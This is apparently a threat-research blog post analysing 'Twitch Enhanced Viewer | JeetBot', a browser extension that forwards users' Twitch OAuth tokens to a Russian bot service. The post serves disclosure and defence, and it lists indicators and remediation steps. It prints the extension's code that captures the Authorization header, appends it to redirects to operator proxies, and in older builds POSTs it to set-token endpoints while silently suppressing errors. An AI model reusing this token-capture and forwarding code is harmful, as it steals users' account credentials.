Malicious Twitch Browser Extension Exposes 30,000 Users’ OAuth Tokens to Russian Bot Service

A Twitch browser extension on Chrome and Firefox forwards users’ live OAuth session tokens through proxies controlled by a Russian bot service.

  • Kush Pandya
    Kush Pandya
6 min read
Malicious Twitch Browser Extension Exposes 30,000 Users’ OAuth Tokens to Russian Bot Service

Socket’s Threat Research Team identified a cross-store browser extension, “Twitch Enhanced Viewer | JeetBot,” that forwards each user’s live Twitch OAuth session token to proxy servers operated by a Russian commercial bot service. The extension ships on both the Chrome Web Store (extension ID pnhhdhhcadcjfckjhpmjneldiegbojfb, 30,000 users) and Firefox Add-ons (twitchenhancedviewer@example.com, 552 users). Both listings are live at time of writing.

  • Current builds (v85.x) forward the token inline as an &auth= query parameter on a network-layer redirect to the operator's proxy. The token is forwarded for every channel the user watches, except a hardcoded allowlist of ten Russian streamer channels, whose sessions are exempted from forwarding.
  • Earlier v4.x builds (for example version 4.8, January 2026) went further, POSTing the token to a dedicated set-token endpoint on the operator host, with backups on deno.dev and deno.net.
  • The operator is a commercial Twitch, Kick, and VK-Live bot SaaS that has broad Twitch host permissions and relays live authenticated sessions through its own infrastructure.

The JeetBot extension's attack lifecycle, from marketplace listing to the live Twitch OAuth token reaching operator proxies.

What the Extension Claims to Do

“Twitch Enhanced Viewer | JeetBot” markets itself as a Twitch quality-of-life tool: block Twitch ads, force 1080p and region-unlock streams, and auto-collect channel points. That value proposition is real and is why users install it, and it is the cover for the token forwarding. To deliver ad-free and region-unlocked video, the extension redirects Twitch’s video-playlist requests through operator-controlled proxy servers. The user’s Twitch OAuth token rides along on that redirect.

The Chrome Web Store listing for Twitch Enhanced Viewer, showing 30,000 users and the jeetbot[.]cc developer link.

The Firefox Add-ons listing for the same extension, reporting 552 users.

How the Token Is Captured and Forwarded

Capturing the token from the Twitch page

The content script reads the Authorization header that Twitch’s own web client uses and relays it to the extension background worker. In src/scripts/content.js, the captured header and Twitch device id are passed over the extension’s internal bridge:

JavaScript
    return _sendBridgeMessage("tev-proxy-session", {
        authorizationHeader: __TEV_STATE__.AuthorizationHeader || null,
        deviceId: __TEV_STATE__.GQLDeviceID || null,
    });

The background worker stores that value and later strips the prefix to recover the raw token. That the value is the Twitch OAuth token, not an extension-specific device token, is confirmed by how it is used: the same token is sent as Authorization: OAuth ${token} to Twitch’s own token-validation endpoint in src/scripts/background.js:

JavaScript
    const response = await fetch(TWITCH_TOKEN_VALIDATE_URL, {
        cache: "no-store",
        headers: { Authorization: `OAuth ${token}` },
    });

This is the account-scoped Twitch OAuth token, which grants access to chat, whispers, and account settings, not the narrow stream-playback token. The extension already handles the stream token separately (it is present in the usher URL as token and sig), and its own token-strip path routes some channels through the proxy with no token at all, so appending the full account credential exposes far more than fetching the video requires.

Forwarding the token to the operator proxy

The default proxy destination is defined in src/scripts/background.js:

JavaScript
const DEFAULT_PROXY_URL = "https://enhanced[.]jeetbot[.]cc/";
const DEFAULT_FORCED_TOKEN_STRIP_PROXY_URL = "https://proxy[.]morphilina[.]me/";
const PROXY_CATALOG_API_URL = "https://ext-styles[.]jeetbot[.]cc/api/v1/proxies";

When the extension redirects Twitch’s video playlist request (to usher.ttvnw.net) through that proxy, it appends the token as an &auth= query parameter. The relevant construction in src/scripts/background.js:

JavaScript
    const authToken = extractAuthToken(proxyAuthorizationHeader);
    const authParam = !shouldStripToken && authToken
        ? `&auth=${encodeURIComponent(authToken)}`
        : "";
    const deviceParam = proxyDeviceId && proxyDeviceId.trim()
        ? `&device_id=${encodeURIComponent(proxyDeviceId.trim())}`
        : "";
    const proxyModeParam = getProxyModeParam(redirectProxyUrl);
    return {
        redirectUrl: `${redirectProxyUrl}${url}${authParam}${deviceParam}${proxyModeParam}`,
    };

Because the token is placed in the URL query string, it is written in cleartext into the proxy server’s request logs. On Firefox the redirect uses a blocking webRequest.onBeforeRequest listener; on Chrome the same result is achieved with a declarativeNetRequest regexSubstitution rule. The token-handling semantics are identical across the two stores.

The token-strip allowlist

The token is omitted from the redirect only for a hardcoded set of ten channels, defined in src/scripts/background.js:

JavaScript
const DEFAULT_PROXY_TOKEN_STRIP_CHANNELS = [
    "pch3lk1n",
    "fasoollka",
    "flamie",
    "dosia",
    "fander",
    "almazer",
    "forzorezor",
    "akyuliych",
    "lagoda1337",
    "lagoda",
];

These are Russian-language streamer channels, several of them well-known Counter-Strike figures, consistent with the operator’s Russian-language audience. For every channel outside this list, the user’s live token is forwarded to the proxy.

The Earlier Builds Collected Tokens Outright

In the v4.x builds (for example version 4.8, released January 8, 2026), src/worker_claimer.js defined a set of collection endpoints:

JavaScript
const PROXY_ENDPOINTS = {
  main: "https://enhanced[.]jeetbot[.]cc/",
  backup1: "https://thebeholder-proxy[.]deno[.]dev/",
  backup2: "https://proxy[.]thebeholder[.]deno[.]net/"
};

It derived a set-token path on the selected endpoint and POSTed the captured token to it:

JavaScript
function getProxySetTokenUrl(base) {
  return base + "set-token";
}
JavaScript
try {
    await fetch(getProxySetTokenUrl(selectedProxyUrl), {
      method: 'POST',
      mode: 'cors',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ token })
    });
  } catch (error) {
    // Не удалось отправить token в прокси - тихо игнорируем, не выводим ошибку
  }

The Russian comment in the catch block translates to: “the token send failed, so silently ignore it and do not surface the error.”

The same file tracks the last token sent and applies a cooldown, with Russian-language comments:

JavaScript
let lastSentToken = null; // Запоминаем последний отправленный token

In translation, these two comments read 'remember the last sent token' and '5 seconds of cooldown, to avoid frequent sends.'

JavaScript
const TOKEN_SEND_COOLDOWN = 5000; // 5 секунд кулдауна, чтобы избежать частых отправок

De-duplicating and rate-limiting token sends only makes sense if the receiving server persists them, which indicates a server-side token store at that time. The set-token endpoint is absent from later builds. Per the Firefox Add-ons version history, the version numbering jumped from 7.2.6 (April 25, 2026) to 85.2.2 (May 20, 2026), and the inline &auth= forwarding is present from v85.2.2 through the current v85.6.1.

Infrastructure and Attribution

The extension’s proxy and configuration hosts, all defanged below, resolve across three IP addresses.

  • The default proxy that receives the forwarded token, enhanced[.]jeetbot[.]cc, together with the control endpoints jeetbot[.]cc and api[.]jeetbot[.]cc, resolves to 152[.]53[.]177[.]186 (netcup GmbH, Germany, AS197540).
  • The configuration API ext-styles[.]jeetbot[.]cc, the token-strip proxy morphilina[.]me (and proxy[.]morphilina[.]me), and the screenshot host drisnya[.]online (and img[.]drisnya[.]online) resolve to 132[.]243[.]113[.]25 (CLODO Cloud, AS216154).
  • An alternate proxy, ext-03[.]jeetbot[.]cc, resolves to 80[.]74[.]26[.]162 (also CLODO Cloud, AS216154).
  • The proxy catalog served from ext-styles[.]jeetbot[.]cc/api/v1/proxies and ext-styles[.]jeetbot[.]cc/api/v1/forced-proxy lists the proxy hosts the extension uses, so the operator controls, server-side, which host receives the token.
  • Historical collection endpoints, now decommissioned, were enhanced[.]jeetbot[.]cc/set-token, thebeholder-proxy[.]deno[.]dev/set-token, and proxy[.]thebeholder[.]deno[.]net/set-token.

The operator is JeetBot, a commercial Russian-language Twitch, Kick, and VK-Live bot service. Its site footer self-identifies the operator as Popov Aleksandr Alekseevich, contact support@jeetbot[.]cc, with the copyright attributed to alexue4[.]dev. The extension’s store developer name is HISHIMIRO on both Firefox Add-ons and chrome-stats. chrome-stats additionally lists a developer email, cybergnyda@gmail[.]com.

The JeetBot operator site, a Russian-language commercial Twitch bot service.

Impact

Approximately 31,000 users across Chrome and Firefox route their live Twitch OAuth session tokens through operator-controlled proxy infrastructure. A Twitch OAuth session token is a bearer credential: whoever holds it can act on the account without the password or a second factor, including reading and sending whispers, posting in chat, and spending channel points. The exposure is undisclosed in both store listings. The Chrome Web Store data-safety section states the developer "will not collect or use your data" and that the data is "not being sold to third parties." The developer's linked privacy policy, hosted at thebeholderbotapi[.]vercel[.]app/twitch-conf and dated June 25, 2025, goes further, stating that the extension "does not collect, store, or process any user data," and it does not mention the OAuth token or the forwarding anywhere. The token forwarding to enhanced[.]jeetbot[.]cc contradicts all three.

Recommendations

For Users

Remove “Twitch Enhanced Viewer | JeetBot” from Chrome and Firefox. Then, in Twitch account settings, disconnect all sessions and re-authenticate, which invalidates any token that was forwarded. Treat any browser extension that proxies a logged-in service’s traffic as having access to that service’s session credentials.

For Developers

Do not route requests that carry authentication headers or tokens through third-party servers. If a feature requires proxying, strip credentials before the request leaves the browser and disclose the proxying prominently.

For Security Teams

Block the infrastructure listed in the IOC section at the network layer and inventory endpoints for both extension IDs. Treat a browser extension with host permissions over an authenticated service (here gql.twitch.tv, usher.ttvnw.net, and id.twitch.tv) plus a third-party proxy destination as a credential-exposure risk.

Socket’s Chrome extension protection analyzes extension bundles for hidden data flows, undisclosed credential exfiltration, and C2 backdoors, blocking malicious extensions before they reach user endpoints.

MITRE ATT&CK

  • T1176 Browser Extensions
  • T1539 Steal Web Session Cookie
  • T1557 Adversary-in-the-Middle
  • T1071.001 Application Layer Protocol: Web Protocols

Indicators of Compromise (IOCs)

Operator Identifiers

  • Popov Aleksandr Alekseevich (self-identified in the jeetbot[.]cc site footer)
  • Store developer handle: HISHIMIRO
  • Email Address: support@jeetbot[.]cc, cybergnyda@gmail[.]com
  • Website / Identifier: alexue4[.]dev

Network Indicators

  • 152[.]53[.]177[.]186 (netcup GmbH, Germany, AS197540; hosts jeetbot[.]cc, api[.]jeetbot[.]cc, enhanced[.]jeetbot[.]cc, enhanced-1[.]jeetbot[.]cc)
  • 132[.]243[.]113[.]25 (CLODO Cloud, AS216154; hosts ext-styles[.]jeetbot[.]cc, morphilina[.]me, drisnya[.]online)
  • 80[.]74[.]26[.]162 (CLODO Cloud, AS216154; hosts ext-03[.]jeetbot[.]cc)

C2 and Configuration Endpoints

  • enhanced[.]jeetbot[.]cc
  • enhanced-1[.]jeetbot[.]cc
  • ext-03[.]jeetbot[.]cc
  • proxy[.]morphilina[.]me
  • ext-styles[.]jeetbot[.]cc/api/v1/proxies
  • ext-styles[.]jeetbot[.]cc/api/v1/forced-proxy
  • api[.]jeetbot[.]cc/api/v2/public/extension_helper/
  • img[.]drisnya[.]online
  • enhanced[.]jeetbot[.]cc/set-token (historical, decommissioned)
  • thebeholder-proxy[.]deno[.]dev/set-token (historical, decommissioned)
  • proxy[.]thebeholder[.]deno[.]net/set-token (historical, decommissioned)

Extensions

  • Chrome: pnhhdhhcadcjfckjhpmjneldiegbojfb, SHA-256 e17e1e671b597da19b89c5b2d0fa821e90e627860e756ae4947ed27c035330a8
  • Firefox: twitchenhancedviewer@example.com , SHA-256 141c35607dc0e8e400deb380126b3052bd0495b4d37c8dd979c6aa0204b142fc
Stay ahead of threats

Subscribe to our newsletter

Get notified when we publish new security blog posts!